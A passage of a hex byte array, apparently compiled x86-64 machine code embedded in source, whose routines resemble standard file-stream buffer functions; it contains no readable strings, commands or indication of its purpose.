0x20, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0xCA, 0xE8, 0x9B, 0x1B, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x8B, 0xF8, 0xFF, 0x15, 0x3F, 0x51, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x13, 0x48, 0xC7, 0x43, 0x68, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x48, 0x8B, 0xCB, 0x48, 0x89, 0x7B, 0x68, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0x48, 0xFF, 0x25, 0x38, 0x50, 0x00, 0x00, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83, 0xB9, 0x80, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD9, 0x74, 0x2D, 0x48, 0x8B, 0x01, 0xBA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x50, 0x18, 0x83, 0xF8, 0xFF, 0x74, 0x1D, 0x48, 0x8B, 0x8B, 0x80, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xA0, 0x52, 0x00, 0x00, 0x33, 0xC9, 0x85, 0xC0, 0x0F, 0x99, 0xC1, 0x8D, 0x41, 0xFF, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x56, 0x48, 0x83, 0xEC, 0x48, 0x48, 0x8B, 0x05, 0x22, 0x8F, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x44, 0x24, 0x38, 0x33, 0xF6, 0x4D, 0x8B, 0xC8, 0x48, 0x8B, 0xD9, 0x48, 0x85, 0xD2, 0x75, 0x0B, 0x4D, 0x85, 0xC0, 0x41, 0xB8, 0x04, 0x00, 0x00, 0x00, 0x74, 0x03, 0x44, 0x8B, 0xC6, 0x48, 0x8B, 0x89, 0x80, 0x00, 0x00, 0x00, 0x48, 0x85, 0xC9, 0x0F, 0x84, 0x9E, 0x00, 0x00, 0x00, 0xFF, 0x15, 0xE1, 0x51, 0x00, 0x00, 0x85, 0xC0, 0x0F, 0x85, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x7C, 0x24, 0x40, 0x48, 0x8B, 0xCB, 0x48, 0x8B, 0xBB, 0x80, 0x00, 0x00, 0x00, 0xC6, 0x43, 0x7C, 0x01, 0x40, 0x88, 0x73, 0x71, 0xFF, 0x15, 0x7C, 0x4F, 0x00, 0x00, 0x48, 0x85, 0xFF, 0x74, 0x4E, 0x4C, 0x8D, 0x4C, 0x24, 0x30, 0x48, 0x89, 0x74, 0x24, 0x20, 0x4C, 0x8D, 0x44, 0x24, 0x28, 0x48, 0x89, 0x74, 0x24, 0x28, 0x48, 0x8D, 0x54, 0x24, 0x20, 0x48, 0x89, 0x74, 0x24, 0x30, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0xB0, 0x51, 0x00, 0x00, 0x48, 0x8B, 0x4C, 0x24, 0x20, 0x48, 0x89, 0x4B, 0x18, 0x48, 0x89, 0x4B, 0x20, 0x48, 0x8B, 0x4C, 0x24, 0x28, 0x48, 0x89, 0x4B, 0x38, 0x48, 0x89, 0x4B, 0x40, 0x48, 0x8B, 0x4C, 0x24, 0x30, 0x48, 0x89, 0x4B, 0x50, 0x48, 0x89, 0x4B, 0x58, 0x48, 0x8B, 0x0D, 0x42, 0x99, 0x00, 0x00, 0x48, 0x8B, 0xC3, 0x48, 0x89, 0xBB, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x7C, 0x24, 0x40, 0x48, 0x89, 0x4B, 0x74, 0x48, 0x89, 0x73, 0x68, 0xEB, 0x02, 0x33, 0xC0, 0x48, 0x8B, 0x4C, 0x24, 0x38, 0x48, 0x33, 0xCC, 0xE8, 0x02, 0x27, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x48, 0x5E, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x56, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x05, 0x21, 0x8E, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x44, 0x24, 0x28, 0x49, 0x8B, 0x40, 0x08, 0x49, 0x8B, 0xF0, 0x49, 0x03, 0x00, 0x48, 0x8B, 0xDA, 0x48, 0x83, 0xB9, 0x80, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xF9, 0x48, 0x89, 0x44, 0x24, 0x20, 0x74, 0x70, 0xE8, 0xD5, 0x13, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x67, 0x48, 0x8B, 0x8F, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x20, 0xFF, 0x15, 0x27, 0x51, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x51, 0x48, 0x8B, 0x46, 0x10, 0x48, 0x8B, 0x4F, 0x18, 0x48, 0x89, 0x47, 0x74, 0x48, 0x8D, 0x47, 0x70, 0x48, 0x39, 0x01, 0x75, 0x22, 0x48, 0x8B, 0x97, 0x88, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x87, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x11, 0x44, 0x2B, 0xC2, 0x48, 0x8B, 0x4F, 0x38, 0x48, 0x89, 0x11, 0x48, 0x8B, 0x4F, 0x50, 0x44, 0x89, 0x01, 0x48, 0x8B, 0x4F, 0x74, 0x48, 0x8B, 0x54, 0x24, 0x20, 0x48, 0x89, 0x13, 0x48, 0x89, 0x4B, 0x10, 0x48, 0xC7, 0x43, 0x08, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x15, 0x33, 0xC0, 0x48, 0xC7, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0xC7, 0x43, 0x08, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43, 0x10, 0x48, 0x8B, 0xC3, 0x48, 0x8B, 0x4C, 0x24, 0x28, 0x48, 0x33, 0xCC, 0xE8, 0x25, 0x26, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x30, 0x5F, 0x5E, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x55, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x8B, 0x05, 0x3E, 0x8D, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x41, 0x38, 0x4C, 0x8D, 0x71, 0x70, 0x41, 0x8B, 0xE9, 0x49, 0x8B, 0xF0, 0x48, 0x8B, 0xFA, 0x48, 0x8B, 0xD9, 0x4C, 0x39, 0x30, 0x75, 0x10, 0x41, 0x83, 0xF9, 0x01, 0x75, 0x0A, 0x48, 0x83, 0x79, 0x68, 0x00, 0x75, 0x03, 0x48, 0xFF, 0xCE, 0x48, 0x83, 0xB9, 0x80, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x85, 0x00, 0x00, 0x00, 0xE8, 0xDA, 0x12, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x7C, 0x48, 0x85, 0xF6, 0x75, 0x05, 0x83, 0xFD, 0x01, 0x74, 0x17, 0x48, 0x8B, 0x8B, 0x80, 0x00, 0x00, 0x00, 0x44, 0x8B, 0xC5, 0x48, 0x8B, 0xD6, 0xFF, 0x15, 0xF9, 0x4F, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x5B, 0x48, 0x8B, 0x8B, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x20, 0xFF, 0x15, 0xC3, 0x4F, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x45, 0x48, 0x8B, 0x43, 0x18, 0x4C, 0x39, 0x30, 0x75, 0x22, 0x48, 0x8B, 0x93, 0x88, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x83, 0x90, 0x00, 0x00, 0x00, 0x48, 0x89, 0x10, 0x44, 0x2B, 0xC2, 0x48, 0x8B, 0x4B, 0x38, 0x48, 0x89, 0x11, 0x48, 0x8B, 0x4B, 0x50, 0x44, 0x89, 0x01, 0x48, 0x8B, 0x4B, 0x74, 0x48, 0x8B, 0x54, 0x24, 0x20, 0x48, 0x89, 0x17, 0x48, 0x89, 0x4F, 0x10, 0x48, 0xC7, 0x47, 0x08, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x15, 0x33, 0xC0, 0x48, 0xC7, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0xC7, 0x47, 0x08, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x47, 0x10, 0x48, 0x8B, 0xC7, 0x48, 0x8B, 0x4C, 0x24, 0x28, 0x48, 0x33, 0xCC, 0xE8, 0x15, 0x25, 0x00, 0x00, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5E, 0x5F, 0x5E, 0x5D, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x57, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x83, 0x79, 0x68, 0x00, 0x49, 0x8B, 0xD8, 0x4C, 0x8B, 0xFA, 0x48, 0x8B, 0xF9, 0x74, 0x0F, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5F, 0x5F, 0x5B, 0x48, 0xFF, 0x25, 0x50, 0x4D, 0x00, 0x00, 0x48, 0x8B, 0x41, 0x40, 0x48, 0x89, 0x6C, 0x24, 0x40, 0x48, 0x89, 0x74, 0x24, 0x48, 0x48, 0x8B, 0xF3, 0x4C, 0x89, 0x74, 0x24, 0x58, 0x4C, 0x8B, 0x08, 0x4D, 0x85, 0xC9, 0x74, 0x08, 0x48, 0x8B, 0x41, 0x58, 0x8B, 0x08, 0xEB, 0x02, 0x33, 0xC9, 0x48, 0x63, 0xE9, 0x48, 0x85, 0xDB, 0x7E, 0x51, 0x85, 0xC9, 0x7E, 0x2D, 0x48, 0x3B, 0xDD, 0x49, 0x8B, 0xC9, 0x48, 0x0F, 0x4C, 0xEB, 0x4C, 0x8B, 0xC5, 0xE8, 0xF5, 0x35, 0x00, 0x00, 0x48, 0x8B, 0x47, 0x58, 0x4C, 0x03, 0xFD, 0x48, 0x2B, 0xDD, 0x29, 0x28, 0x48, 0x8B, 0x4F, 0x40, 0x48, 0x63, 0xC5, 0x48, 0x01, 0x01, 0x48, 0x85, 0xDB, 0x7E, 0x20, 0x4C, 0x8B, 0x8F, 0x80, 0x00, 0x00, 0x00, 0x4D, 0x85, 0xC9, 0x74, 0x14, 0x4C, 0x8B, 0xC3, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8B, 0xCF, 0xFF, 0x15, 0xA2, 0x4E, 0x00, 0x00, 0x48, 0x2B, 0xD8, 0x4C, 0x8B, 0x74, 0x24, 0x58, 0x48, 0x2B, 0xF3, 0x48, 0x8B, 0x6C, 0x24, 0x40, 0x48, 0x8B, 0xC6, 0x48, 0x8B, 0x74, 0x24, 0x48, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5F, 0x5F, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x55, 0x56, 0x41, 0x56, 0x48, 0x83, 0xEC, 0x30, 0x49, 0x8B, 0xE8, 0x4C, 0x8B, 0xF2, 0x48, 0x8B, 0xF1, 0x4D, 0x85, 0xC0, 0x7F, 0x0B, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5E, 0x5E, 0x5D, 0xC3, 0x48, 0x83, 0x79, 0x68, 0x00, 0x74, 0x0F, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5E, 0x5E, 0x5D, 0x48, 0xFF, 0x25, 0x68, 0x4C, 0x00, 0x00, 0x48, 0x8B, 0x41, 0x38, 0x48, 0x89, 0x5C, 0x24, 0x28, 0x48, 0x8B, 0xDD, 0x48, 0x8B, 0x10, 0x48, 0x85, 0xD2, 0x74, 0x08, 0x48, 0x8B, 0x41, 0x50, 0x8B, 0x08, 0xEB, 0x02, 0x33, 0xC9, 0x48, 0x63, 0xC1, 0x85, 0xC9, 0x74, 0x35, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x48, 0x3B, 0xC5, 0x48, 0x8B, 0xFD, 0x49, 0x8B, 0xCE, 0x48, 0x0F, 0x42, 0xF8, 0x4C, 0x8B, 0xC7, 0xE8, 0x1C, 0x35, 0x00, 0x00, 0x48, 0x8B, 0x46, 0x50, 0x4C, 0x03, 0xF7, 0x48, 0x2B, 0xDF, 0x29, 0x38, 0x48, 0x8B, 0x4E, 0x38, 0x48, 0x63, 0xC7, 0x48, 0x8B, 0x7C, 0x24, 0x20, 0x48, 0x01, 0x01, 0x48, 0x83, 0xBE, 0x80, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x8E, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x46, 0x18, 0x48, 0x8D, 0x46, 0x70, 0x49, 0x39, 0x00, 0x75, 0x20, 0x48, 0x8B, 0x8E, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x96, 0x90, 0x00, 0x00, 0x00, 0x49, 0x89, 0x08, 0x2B, 0xD1, 0x48, 0x8B, 0x46, 0x38, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x46, 0x50, 0x89, 0x10, 0x48, 0x81, 0xFB, 0xFF, 0x0F, 0x00, 0x00, 0x76, 0x38, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0x8E, 0x80, 0x00, 0x00, 0x00, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x41, 0xB8, 0xFF, 0x0F, 0x00, 0x00, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x9D, 0x4D, 0x00, 0x00, 0x4C, 0x03, 0xF0, 0x48, 0x2B, 0xD8, 0x48, 0x3D, 0xFF, 0x0F, 0x00, 0x00, 0x75, 0x25, 0x48, 0x3B, 0xD8, 0x77, 0xD2, 0x48, 0x85, 0xDB, 0x74, 0x1B, 0x4C, 0x8B, 0x8E, 0x80, 0x00, 0x00, 0x00, 0x4C, 0x8B, 0xC3, 0xBA, 0x01, 0x00, 0x00, 0x00, 0x49, 0x8B, 0xCE, 0xFF, 0x15, 0x6D, 0x4D, 0x00, 0x00, 0x48, 0x2B, 0xD8, 0x48, 0x2B, 0xEB, 0x48, 0x8B, 0x5C, 0x24, 0x28, 0x48, 0x8B, 0xC5, 0x48, 0x83, 0xC4, 0x30, 0x41, 0x5E, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x81, 0xEC, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xFF, 0x89, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF9, 0x48, 0x8B, 0x41, 0x38, 0x48, 0x8B, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x2C, 0x48, 0x8B, 0x57, 0x50, 0x4C, 0x63, 0x0A, 0x4A, 0x8D, 0x04, 0x09, 0x48, 0x3B, 0xC8, 0x73, 0x1C, 0x41, 0x8D, 0x41, 0xFF, 0x89, 0x02, 0x48, 0x8B, 0x4F, 0x38, 0x48, 0x8B, 0x11, 0x48, 0x8D, 0x42, 0x01, 0x48, 0x89, 0x01, 0x0F, 0xB6, 0x02, 0xE9, 0x4C, 0x02, 0x00, 0x00, 0x48, 0x83, 0xBF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x75, 0x0A, 0xB8, 0xFF, 0xFF, 0xFF, 0xFF, 0xE9, 0x38, 0x02, 0x00, 0x00, 0x4C, 0x8B, 0x4F, 0x18, 0x48, 0x8D, 0x47, 0x70, 0x49, 0x39, 0x01, 0x75, 0x20, 0x48, 0x8B, 0x97, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x8F, 0x88, 0x00, 0x00, 0x00, 0x49, 0x89, 0x09, 0x48, 0x8B, 0x47, 0x38, 0x48, 0x89, 0x08, 0x2B, 0xD1, 0x48, 0x8B, 0x47, 0x50, 0x89, 0x10, 0x48, 0x8B, 0x8F, 0x80, 0x00, 0x00, 0x00, 0x48, 0x83, 0x7F, 0x68, 0x00, 0x75, 0x1C, 0xFF, 0x15, 0x98, 0x4C, 0x00, 0x00, 0x83, 0xF8, 0xFF, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0x0F, 0x84, 0xE7, 0x01, 0x00, 0x00, 0x0F, 0xB6, 0xD8, 0xE9, 0xDF, 0x01, 0x00, 0x00, 0x0F, 0x57, 0xC0, 0x0F, 0x11, 0x45, 0xD8, 0x48, 0xC7, 0x45, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0x45, 0xF0, 0x0F, 0x00, 0x00, 0x00, 0xC6, 0x45, 0xD8, 0x00, 0xFF, 0x15, 0x61, 0x4C, 0x00, 0x00, 0x44, 0x8B, 0xC0, 0x83, 0xF8, 0xFF, 0x0F, 0x84, 0x0A, 0x01, 0x00, 0x00, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x48, 0x8B, 0x4D, 0xE8, 0x48, 0x8B, 0x55, 0xF0, 0x48, 0x3B, 0xCA, 0x73, 0x20, 0x48, 0x8D, 0x41, 0x01, 0x48, 0x89, 0x45, 0xE8, 0x48, 0x8D, 0x45, 0xD8, 0x48, 0x83, 0xFA, 0x0F, 0x48, 0x0F, 0x47, 0x45, 0xD8, 0x44, 0x88, 0x04, 0x08, 0xC6, 0x44, 0x08, 0x01, 0x00, 0xEB, 0x0D, 0x45, 0x0F, 0xB6, 0xC8, 0x48, 0x8D, 0x4D, 0xD8, 0xE8, 0xA6, 0x17, 0x00, 0x00, 0x48, 0x8D, 0x4D, 0xD8, 0x48, 0x83, 0x7D, 0xF0, 0x0F, 0x48, 0x0F, 0x47, 0x4D, 0xD8, 0x4C, 0x8B, 0x4D, 0xE8, 0x4C, 0x03, 0xC9, 0x4C, 0x8D, 0x45, 0xD8, 0x48, 0x83, 0x7D, 0xF0, 0x0F, 0x4C, 0x0F, 0x47, 0x45, 0xD8, 0x48, 0x8D, 0x45, 0xC8, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8D, 0x45, 0xD1, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 0x8D, 0x45, 0xD0, 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x8D, 0x45, 0xC0, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48, 0x8D, 0x57, 0x74, 0x48, 0x8B, 0x4F, 0x68, 0xFF, 0x15, 0x69, 0x49, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x09, 0x83, 0xE8, 0x01, 0x0F, 0x85, 0xAB, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x45, 0xD0, 0x48, 0x8B, 0x5D, 0xE8, 0x48, 0x39, 0x45, 0xC8, 0x48, 0x8D, 0x45, 0xD8, 0x0F, 0x85, 0xAD, 0x00, 0x00, 0x00, 0x48, 0x83, 0x7D, 0xF0, 0x0F, 0x48, 0x0F, 0x47, 0x45, 0xD8, 0x4C, 0x8B, 0x4D, 0xC0, 0x4C, 0x2B, 0xC8, 0x49, 0x3B, 0xD9, 0x4C, 0x0F, 0x42, 0xCB, 0x48, 0x8D, 0x4D, 0xD8, 0x48, 0x83, 0x7D, 0xF0, 0x0F, 0x48, 0x0F, 0x47, 0x4D, 0xD8, 0x49, 0x2B, 0xD9, 0x4C, 0x8D, 0x43, 0x01, 0x4A, 0x8D, 0x14, 0x09, 0xE8, 0x61, 0x32, 0x00, 0x00, 0x48, 0x89, 0x5D, 0xE8, 0x48, 0x8B, 0x8F, 0x80, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x57, 0x4B, 0x00, 0x00, 0x44, 0x8B, 0xC0, 0x83, 0xF8, 0xFF, 0x0F, 0x85, 0xFB, 0xFE, 0xFF, 0xFF, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x8B, 0x55, 0xF0, 0x48, 0x83, 0xFA, 0x0F, 0x0F, 0x86, 0x95, 0x00, 0x00, 0x00, 0x48, 0xFF, 0xC2, 0x48, 0x8B, 0x4D, 0xD8, 0x48, 0x8B, 0xC1, 0x48, 0x81, 0xFA, 0x00, 0x10, 0x00, 0x00, 0x72, 0x7D, 0x48, 0x83, 0xC2, 0x27, 0x48, 0x8B, 0x49, 0xF8, 0x48, 0x2B, 0xC1, 0x48, 0x83, 0xC0, 0xF8, 0x48, 0x83, 0xF8, 0x1F, 0x76, 0x68, 0xFF, 0x15, 0xAA, 0x4A, 0x00, 0x00, 0x90, 0x83, 0xF8, 0x02, 0x75, 0xB9, 0x48, 0x8D, 0x45, 0xD8, 0x48, 0x83, 0x7D, 0xF0, 0x0F, 0x48, 0x0F, 0x47, 0x45, 0xD8, 0x0F, 0xBE, 0x18, 0xEB, 0xAB, 0x48, 0x83, 0x7D, 0xF0, 0x0F, 0x48, 0x0F, 0x47, 0x45, 0xD8, 0x48, 0x8B, 0x4D, 0xC0, 0x48, 0x2B, 0xD9, 0x48, 0x03, 0xD8, 0x48, 0x85, 0xDB, 0x7E, 0x27, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xFF, 0xCB, 0x0F, 0xBE, 0x0C, 0x0B, 0x48, 0x8B, 0x97, 0x80, 0x00, 0x00, 0x00, 0xFF, 0x15, 0x9C, 0x4A, 0x00, 0x00, 0x48, 0x85, 0xDB, 0x7E, 0x06, 0x48, 0x8B, 0x4D, 0xC0, 0xEB, 0xE1, 0x0F, 0xB6, 0x5D, 0xD0, 0xE9, 0x62, 0xFF, 0xFF, 0xFF, 0xE8, 0x37, 0x23, 0x00, 0x00, 0x8B, 0xC3, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0x25, 0x20, 0x00, 0x00, 0x4C, 0x8D, 0x9C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x49, 0x8B, 0x5B, 0x18, 0x49, 0x8B, 0x73, 0x20, 0x49, 0x8B, 0x7B, 0x28, 0x49, 0x8B, 0xE3, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x41, 0x38, 0x48, 0x8B, 0xD9, 0x48, 0x8B, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x18, 0x48, 0x8B, 0x43, 0x50, 0x48, 0x63, 0x10, 0x48, 0x03, 0xD1, 0x48, 0x3B, 0xCA, 0x73, 0x09, 0x0F, 0xB6, 0x01, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0x48, 0x8B, 0x03, 0x48, 0x8B, 0xCB, 0x48, 0x89, 0x7C, 0x24, 0x30, 0xFF, 0x50, 0x38, 0x8B, 0xF8, 0x83, 0xF8, 0xFF, 0x75, 0x0B, 0x48, 0x8B, 0x7C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0x48, 0x8B, 0x03, 0x8B, 0xD7, 0x48, 0x8B, 0xCB, 0xFF, 0x50, 0x20, 0x8B, 0xC7, 0x48, 0x8B, 0x7C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x41, 0x38, 0x48, 0x8B, 0xD9, 0x8B, 0xFA, 0x48, 0x8B, 0x08, 0x48, 0x85, 0xC9, 0x74, 0x38, 0x48, 0x8B, 0x43, 0x18, 0x48, 0x39, 0x08, 0x73, 0x2F, 0x83, 0xFA, 0xFF, 0x74, 0x08, 0x0F, 0xB6, 0x41, 0xFF, 0x3B, 0xC2, 0x75, 0x22, 0x48, 0x8B, 0x43, 0x50, 0xFF, 0x00, 0x48, 0x8B, 0x43, 0x38, 0x48, 0xFF, 0x08, 0x33, 0xC0, 0x83, 0xFF, 0xFF, 0x0F, 0x44, 0xF8, 0x8B, 0xC7, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x48, 0x8B, 0x93, 0x80, 0x00, 0x00, 0x00, 0x48, 0x85, 0xD2, 0x74, 0x73, 0x83, 0xFF, 0xFF, 0x74, 0x6E, 0x48, 0x83, 0x7B, 0x68, 0x00, 0x75, 0x0F, 0x40, 0x0F, 0xB6, 0xCF, 0xFF, 0x15, 0x6B, 0x49, 0x00, 0x00, 0x83, 0xF8, 0xFF, 0x75, 0xCC, 0x4C, 0x8B, 0x4B, 0x38, 0x48, 0x8D, 0x53, 0x70, 0x49, 0x39, 0x11, 0x74, 0x4B, 0x4C, 0x8B, 0x53, 0x18, 0x4C, 0x8D, 0x43, 0x50, 0x40, 0x88, 0x3A, 0x49, 0x8B, 0x02, 0x48, 0x3B, 0xC2, 0x74, 0x17, 0x48, 0x89, 0x83, 0x88, 0x00, 0x00, 0x00, 0x49, 0x8B, 0x00, 0x48, 0x63, 0x08, 0x49, 0x03, 0x09, 0x48, 0x89, 0x8B, 0x90, 0x00, 0x00, 0x00, 0x49, 0x89, 0x12, 0x48, 0x8B, 0x43, 0x38, 0x2B, 0xDA, 0x83, 0xC3, 0x71, 0x48, 0x89, 0x10, 0x49, 0x8B, 0x00, 0x89, 0x18, 0x8B, 0xC7, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0xB8, 0xFF, 0xFF, 0xFF, 0xFF, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x20, 0x57, 0x48, 0x81, 0xEC, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xCC, 0x85, 0x00, 0x00, 0x48, 0x33, 0xC4, 0x48, 0x89, 0x44, 0x24, 0x78, 0x8B, 0xFA, 0x48, 0x8B, 0xD9, 0x83, 0xFA, 0xFF, 0x75, 0x07, 0x33, 0xC0, 0xE9, 0x6C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x41, 0x40, 0x48, 0x8B, 0x10, 0x48, 0x85, 0xD2, 0x74, 0x2E, 0x48, 0x8B, 0x41, 0x58, 0x4C, 0x63, 0x00, 0x4A, 0x8D, 0x0C, 0x02, 0x48, 0x3B, 0xD1, 0x73, 0x1E, 0x41, 0x8D, 0x48, 0xFF, 0x89, 0x08, 0x8B, 0xC7, 0x48, 0x8B, 0x53, 0x40, 0x4C, 0x8B, 0x02, 0x49, 0x8D, 0x48, 0x01, 0x48, 0x89, 0x0A, 0x41, 0x88, 0x38, 0xE9, 0x32, 0x01, 0x00, 0x00, 0x48, 0x83, 0xBB, 0x80, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0xB4, 0x24, 0xA0, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x0F, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0x43, 0x18, 0x48, 0x8D, 0x43, 0x70, 0x49, 0x39, 0x00, 0x75, 0x20, 0x48, 0x8B, 0x8B, 0x88, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x93, 0x90, 0x00, 0x00, 0x00, 0x49, 0x89, 0x08, 0x2B, 0xD1, 0x48, 0x8B, 0x43, 0x38, 0x48, 0x89, 0x08, 0x48, 0x8B, 0x43, 0x50, 0x89, 0x10, 0x48, 0x8B, 0x4B, 0x68, 0x48, 0x85, 0xC9, 0x75, 0x22, 0x48, 0x8B, 0x93, 0x80, 0x00, 0x00, 0x00, 0x40, 0x0F, 0xBE, 0xCF, 0xFF, 0x15, 0x5C, 0x48, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xFF, 0xFF, 0x3B, 0xC1, 0x0F, 0x45, 0xCF, 0x8B, 0xC1, 0xE9, 0xBC, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x44, 0x24, 0x40, 0x40, 0x88, 0x7C, 0x24, 0x50, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8D, 0x53, 0x74, 0x48, 0x8D, 0x44, 0x24, 0x78, 0x48, 0x89, 0x44, 